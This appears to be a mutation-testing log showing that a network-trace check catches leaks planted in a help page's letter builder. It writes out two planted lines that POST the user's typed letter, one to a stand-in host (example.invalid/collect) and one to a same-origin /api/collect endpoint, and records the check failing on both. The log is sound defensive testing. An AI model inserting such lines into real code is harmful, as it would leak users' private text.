# proof: help-tools-network, mutation checks (the trace must fail when a leak is planted) date: 2026-11-07 (runs before the clean run in help-tools-network.log) base commit: a5c6f89 plus scripts/network-trace.mjs as committed in 116a6eb (no script edits after these runs) command: npm run build && CHROME_PATH=/usr/bin/google-chrome TRACE_ROUTES=/en/help/credit npm run proof:network mutated file: components/help/LetterBuilder.tsx copy(), restored after each run (not committed) ## mutation: thirdparty + void fetch("https://example.invalid/collect", { method: "POST", body: letter }).catch(() => {}); expected: FAIL (exit 1); observed: exit 1 (from the wrapper shell at run time) marker: zqx-marker-mw6ywnx9 browser: /usr/bin/google-chrome server: next start on http://127.0.0.1:3219 (local production build) CSP sent by the site: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; font-src 'self' data:; connect-src 'self'; frame-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests /en/help/credit text boxes typed into: 3; choices made: 7; marker shown in page: yes buttons pressed (2): Copy letter | Print requests the CSP blocked: 3 requests: 81 (service worker: 43); methods: GET; hosts: 127.0.0.1:3219 net log, site run (whole browser, 3s): 127.0.0.1, accounts.google.com, clients2.google.com, csp.withgoogle.com, www.google.com, www.gstatic.com net log, control run (same browser and flags, about:blank only, 3s): accounts.google.com, clients2.google.com, csp.withgoogle.com, www.google.com, www.gstatic.com hosts in the site run that the control also contacted (the browser's own traffic): accounts.google.com, clients2.google.com, csp.withgoogle.com, www.google.com, www.gstatic.com in-page data:/blob: URLs (no network): 1 requests recorded: 82; carrying the marker: 0 FAIL: 3 finding(s) - /en/help/credit: the page tried a request the CSP blocked (console: Connecting to 'https://example.invalid/collect' violates the following Content Security Policy directive: "connect-src 'self'". The action has been blocked.) - /en/help/credit: the page tried a request the CSP blocked (console: Fetch API cannot load https://example.invalid/collect. Refused to connect because it violates the document's Content Security Policy.) - /en/help/credit: the page tried a request the CSP blocked (event: connect-src blocked https://example.invalid/collect) ## mutation: sameorigin + void fetch("/api/collect", { method: "POST", body: letter }).catch(() => {}); expected: FAIL (exit 1); observed: exit 1 (from the wrapper shell at run time) marker: zqx-marker-mw6yww06 browser: /usr/bin/google-chrome server: next start on http://127.0.0.1:3219 (local production build) CSP sent by the site: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; font-src 'self' data:; connect-src 'self'; frame-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests /en/help/credit text boxes typed into: 3; choices made: 7; marker shown in page: yes buttons pressed (2): Copy letter | Print requests the CSP blocked: 0 requests: 84 (service worker: 42); methods: GET, POST; hosts: 127.0.0.1:3219 net log, site run (whole browser, 3s): 127.0.0.1, accounts.google.com, clients2.google.com, csp.withgoogle.com, www.google.com, www.gstatic.com net log, control run (same browser and flags, about:blank only, 3s): accounts.google.com, clients2.google.com, csp.withgoogle.com, www.google.com, www.gstatic.com hosts in the site run that the control also contacted (the browser's own traffic): accounts.google.com, clients2.google.com, csp.withgoogle.com, www.google.com, www.gstatic.com in-page data:/blob: URLs (no network): 1 requests recorded: 85; carrying the marker: 3 FAIL: 7 finding(s) - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: POST request - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: POST request - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: request carries the typed text - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: POST request - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: request carries the typed text - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: POST request - /en/help/credit [page] POST http://127.0.0.1:3219/api/collect: request carries the typed text